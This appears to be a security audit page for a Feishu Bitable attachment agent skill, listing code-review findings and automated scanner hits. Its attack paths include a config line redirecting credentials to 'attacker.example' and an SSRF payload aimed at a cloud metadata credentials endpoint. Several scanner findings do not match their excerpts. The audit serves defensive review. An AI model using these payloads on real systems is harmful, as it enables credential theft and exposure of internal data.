Back to skill

Security audit

Feishu Bitable Attachment

Security checks for vulnerabilities and agentic risk

Overview

The skill does what it advertises, but it uses privileged Feishu credentials and broad file/network/Bitable write authority without enough validation or containment.

Review before installing. Use a least-privilege Feishu app limited to the intended Bitables, pin FEISHU_BASE_URL to official Feishu/Lark origins, avoid untrusted URL sources or caller-supplied filenames, treat logs and temp directories as sensitive, and use replace mode only when overwriting existing attachments is intended.

Vulnerability Patterns
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (7)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/common.py:106
Finding

Arbitrary Feishu API Base URL Enables Credential and Data Exfiltration

Content
View full analysis
str: """Get Feishu API base URL.""" return get_env("FEISHU_BASE_URL", "https://open.feishu.cn") ``` ```python def get_tenant_access_token(app_id: str, app_secret: str) -> str: # Check cache first cached = _token_cache.get() if cached: return cached # Fetch new token base_url = get_feishu_base_url() url = f"{base_url}/open-apis/auth/v3/tenant_access_token/internal" payload = { "app_id": app_id, "app_secret": app_secret } response = requests.post(url, json=payload, timeout=30) ``` ```python token = get_tenant_access_token(app_id, app_secret) headers = kwargs.pop("headers", {}) headers["Authorization"] = f"Bearer {token}" return make_request(method, url, headers=headers, **kwargs) ``` ### Technical Analysis `FEISHU_BASE_URL` is used without validating its scheme, hostname, port, or path. The application sends `FEISHU_APP_ID` and `FEISHU_APP_SECRET` directly to the configured host. The same base URL is subsequently used for API requests carrying bearer tokens, downloaded Feishu attachments, local file uploads, and Bitable mutation payloads. The regional configuration documented by the project only requires two legitimate authorities: - `https://open.feishu.cn` - `https://open.larksuite.com` Allowing an arbitrary authority exceeds the minimum privilege required for regional endpoint selection. HTTPS does not mitigate the issue when the attacker controls a domain with a valid certificate. ### Attack Path 1. An attacker modifies the runtime environment, deployment configuration, wrapper script, or CI job to set: ```bash FEISHU_BASE_URL=https://attacker.example ``` 2. The operator invokes the skill normally with valid Feishu credentials. 3. `ge ...[truncated 918 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
scripts/fetch_source_file.py:123
Finding

Unrestricted URL Fetching Permits Server-Side Request Forgery

Content
View full analysis
FetchResult: """ Download file from URL. """ log.info(f"Downloading file from URL: {url}") try: response = requests.get(url, stream=True, timeout=120) response.raise_for_status() except requests.RequestException as e: raise SkillDownloadError(f"Failed to download from URL: {str(e)}") filename = _extract_filename_from_response(response, url) temp_dir = tempfile.mkdtemp(prefix="feishu_bitable_") temp_file_path = os.path.join(temp_dir, filename) total_size = 0 with open(temp_file_path, "wb") as f: for chunk in response.iter_content(chunk_size=8192): f.write(chunk) total_size += len(chunk) ``` ### Technical Analysis The URL is supplied through `source.ref` and passed directly to `requests.get()`. There is no validation of: - URL scheme - Destination hostname or resolved IP address - Loopback, link-local, private, multicast, or reserved address ranges - Redirect destinations - DNS rebinding - Cloud metadata endpoints - Internal service ports The fetched response is saved and subsequently uploaded to the selected Bitable. Consequently, this is not limited to blind network probing: response bodies from internal services can be transferred to a Feishu resource accessible to the attacker. ### Attack Path 1. An attacker supplies a payload whose source points to an internal resource, for example: ```json { "source": { "type": "url", "ref": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } } ``` 2. The skill makes the request from its own network context. 3. The response is written to a temporary file. 4. The skill uploads that file to the attacker-selected or attacker-readable Bita ...[truncated 650 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
scripts/fetch_source_file.py:136
Finding

Untrusted Filenames Allow Arbitrary File Overwrite Outside the Temporary Directory

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/fetch_source_file.py:123
Finding

Unbounded Streaming Downloads Permit Disk Exhaustion

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/main.py:176
Finding

Temporary Copies of Sensitive Files Are Only Removed on Successful Completion

Content
View full analysis
Remediation
View remediation

T05 · Unauthorized Access and Privilege Escalation

Warning
Location
scripts/common.py:118
Finding

Global Token Cache Is Not Scoped to Application Credentials or API Region

Content
View full analysis
Optional[str]: """Get cached token if valid.""" if self._token and self._expire_at and datetime.now() < self._expire_at: return self._token return None def set(self, token: str, expires_in: int): """Cache token with expiration.""" self._token = token self._expire_at = datetime.now() + timedelta(seconds=expires_in - 300) # Global token cache _token_cache = TokenCache() ``` ```python def get_tenant_access_token(app_id: str, app_secret: str) -> str: # Check cache first cached = _token_cache.get() if cached: return cached ``` ### Technical Analysis The cache stores only one token and does not associate it with the `app_id`, `app_secret`, Feishu region, or base URL used to obtain it. If these modules are reused in a persistent Python process, a call made with one application's credentials can receive a token cached for another application. Although the documented CLI normally handles one invocation per process, the functions are importable and the agent environment may reuse a Python interpreter. The implementation therefore has an unsafe authorization boundary and does not enforce tenant isolation. ### Attack Path 1. A long-running process invokes the skill with credentials for application A. 2. The tenant access token for A is placed in the global cache. 3. Before it expires, the same process invokes the function with credentials for application B. 4. `get_tenant_access_token()` returns A's cached token without comparing credential identity. 5. Operations intended for B are attempte ...[truncated 427 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/fetch_source_file.py:126
Finding

Sensitive Source URLs and Access Tokens Are Exposed Through Logging and Output

Content
View full analysis
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Taint TrackingDirect Taint Flow, Variable-Mediated Taint Flow, Credential Exfiltration Chain
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
Findings (30)

Tp4

High
Category
MCP Tool Poisoning
Confidence
92% confidence
Finding

Claiming support for URL and Feishu-message sources when those source paths are reportedly not implemented can mislead users into supplying remote or message-derived inputs under false assumptions. This is dangerous primarily because it breaks trust, complicates review, and may lead users to expose sensitive references or automate workflows that do not behave as expected.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding

Claiming support for URL and Feishu-message sources when those source paths are reportedly not implemented can mislead users into supplying remote or message-derived inputs under false assumptions. This is dangerous primarily because it breaks trust, complicates review, and may lead users to expose sensitive references or automate workflows that do not behave as expected.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
96% confidence
Finding

Claiming support for URL and Feishu-message sources when those source paths are reportedly not implemented can mislead users into supplying remote or message-derived inputs under false assumptions. This is dangerous primarily because it breaks trust, complicates review, and may lead users to expose sensitive references or automate workflows that do not behave as expected.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
96% confidence
Finding

Claiming support for URL and Feishu-message sources when those source paths are reportedly not implemented can mislead users into supplying remote or message-derived inputs under false assumptions. This is dangerous primarily because it breaks trust, complicates review, and may lead users to expose sensitive references or automate workflows that do not behave as expected.

Content

No source excerpt is available for this finding.

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/fetch_source_file.py (reported line 250)May include surrounding context.

python
if not file_key:
        raise SkillInputError("file_key is required for Feishu message source")

    # Get tenant access token
    token = get_tenant_access_token(app_id, app_secret)
    base_url = get_feishu_base_url()

Tainted flow: 'files' from open (line 223, file read) → requests.post (network output)

High
Category
Data Flow
Confidence
80% confidence
Finding

File contents flow to a network sink. This may indicate data exfiltration of sensitive files.

Content

Scanner excerpt · scripts/upload_to_bitable.py (reported line 241)May include surrounding context.

python
log.info(f"Form fields: file_name={filename}, size={file_size}, parent_type=bitable_file, parent_node={app_token}")

    try:
        response = requests.post(
            url,
            headers=headers,
            files=files,

Context Leakage

High
Category
Data Exfiltration
Confidence
85% confidence
Finding

Code or instructions that leak agent conversation context to external services, potentially exposing sensitive user interactions.

Content

Scanner excerpt · scripts/upload_to_bitable.py (reported line 396)May include surrounding context.

python
Args:
        file_path: Local path to the file
        upload_id: Upload session ID
        filename: Name of the file
        base_url: Feishu API base URL
        token: tenant_access_token

Context Leakage

High
Category
Data Exfiltration
Confidence
85% confidence
Finding

Code or instructions that leak agent conversation context to external services, potentially exposing sensitive user interactions.

Content

Scanner excerpt · scripts/upload_to_bitable.py (reported line 442)May include surrounding context.

python
Args:
        file_path: Local path to the file
        upload_id: Upload session ID
        filename: Name of the file
        base_url: Feishu API base URL
        token: tenant_access_token

Context Leakage

High
Category
Data Exfiltration
Confidence
85% confidence
Finding

Code or instructions that leak agent conversation context to external services, potentially exposing sensitive user interactions.

Content

Scanner excerpt · scripts/upload_to_bitable.py (reported line 512)May include surrounding context.

python
Args:
        file_path: Local path to the file
        upload_id: Upload session ID
        filename: Name of the file
        base_url: Feishu API base URL
        token: tenant_access_token

Tainted flow: 'files' from open (line 223, file read) → requests.post (network output)

High
Category
Data Flow
Confidence
80% confidence
Finding

File contents flow to a network sink. This may indicate data exfiltration of sensitive files.

Content

Scanner excerpt · scripts/upload_to_bitable.py (reported line 475)May include surrounding context.

python
}

    try:
        response = requests.post(
            url,
            headers=headers,
            data=data,

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
84% confidence
Finding

The skill declares broad operational behavior involving environment variables, local file access, and network activity, but it does not declare any tool scope or permissions boundary. This is dangerous because users and orchestrators cannot accurately assess or restrict what the skill may access before execution, increasing the risk of unintended data exposure or over-privileged execution.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
91% confidence
Finding

Supporting URL sources without an explicit warning means users may not realize the skill will fetch remote content and then transmit that content onward to Feishu. This creates data-handling and SSRF-style risk in agent environments, especially if internal URLs, signed URLs, or sensitive documents are provided unintentionally.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

Replace mode can overwrite an existing attachment field, but the skill does not provide an explicit destructive-action warning. In a business records context, this can cause silent data loss or replacement of prior attachments if users misunderstand the mode or automation passes the wrong flag.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
90% confidence
Finding

The documentation instructs users to set Feishu application credentials but does not warn that these environment variables are sensitive secrets. This is dangerous because users may expose credentials in logs, shells, payloads, screenshots, or shared environments, enabling unauthorized access to Feishu resources.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
92% confidence
Finding

The skill explicitly supports downloading arbitrary external URLs and then uploading the retrieved content into Feishu Bitable, but the description does not warn users about the trust boundary this crosses. That omission is dangerous because users may unknowingly cause ingestion of untrusted, sensitive, or policy-violating content into a corporate Feishu workspace, increasing the risk of data contamination, phishing payload propagation, or accidental handling of malicious files.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
91% confidence
Finding

The skill requires Feishu application credentials from environment variables and can use them to access and modify Bitable records, yet the description does not clearly warn users that the agent operates with privileged secrets and downstream data access. This is risky because users may invoke the skill without understanding the scope of access granted, leading to unintended writes, misuse of tenant credentials, or exposure of sensitive business data through overbroad automation.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
86% confidence
Finding

This code file performs an authentication HTTP POST that sends app_id and app_secret to the Feishu API, but there is no confirmation prompt or user-facing log/print indicating that credentials will be transmitted. Although the module docstring mentions an HTTP wrapper and token management, it does not clearly warn the user that secrets are sent over the network during execution.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
80% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · scripts/common.py (reported line 178)May include surrounding context.

python
}

    try:
        response = requests.post(url, json=payload, timeout=30)

        if response.status_code != 200:
            raise FeishuAuthError(

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
80% confidence
Finding

The make_request function can send headers, parameters, form data, JSON bodies, and files to remote endpoints, but the function contains no user-facing warning, print/log statement, or docstring disclosure about transmitting potentially sensitive user or system data. For a reusable utility that supports file upload and authenticated requests, the absence of explicit disclosure increases the risk of silent data transmission.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
90% confidence
Finding

This code retrieves a tenant access token from app_id and app_secret and then uses it to call Feishu Drive download endpoints. Although the functions are documented for developers, there is no user-facing confirmation, warning, or disclosure in the file about accessing credentials and transmitting them to a remote service.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The module explicitly expands targeting from a specific attachment destination to any accessible Bitable by accepting arbitrary app_token values and dynamically resolving tables, fields, and records. In a skill whose stated purpose is attachment upload, this creates an unnecessary cross-resource discovery and write-targeting capability that can enable unintended modification of unrelated Bitables available to the app's credentials.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

Medium
Category
Not specified by scanner
Confidence
90% confidence
Finding

The code lists all tables and all fields in a Bitable to resolve names, which provides schema discovery across any Bitable the credentials can access. That enumeration is broader than necessary for a narrowly scoped upload skill and can expose internal structure that helps an attacker identify sensitive destinations or abuse other writable fields.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The resolver logs raw field objects and matching details, which may include field names, IDs, types, and other metadata for user-accessible Bitables. Detailed schema metadata in logs increases information exposure risk, especially in shared logging environments, and can aid lateral discovery or targeted misuse of sensitive fields.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
90% confidence
Finding

The function issues authenticated GET/PUT requests to fetch and then update an existing Bitable record, including a replace mode that overwrites the attachment field. The code logs internal actions, but it does not provide any explicit user-facing warning or confirmation about modifying remote records or replacing existing attachments.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The create path accepts an arbitrary fields dictionary and merges it directly into fields_data, allowing callers to populate any writable Bitable field, not just the declared attachment field. That exceeds the skill’s stated scope and can be abused to create or modify unrelated structured data in the target table, increasing the chance of unauthorized or surprising data writes.

Content

No source excerpt is available for this finding.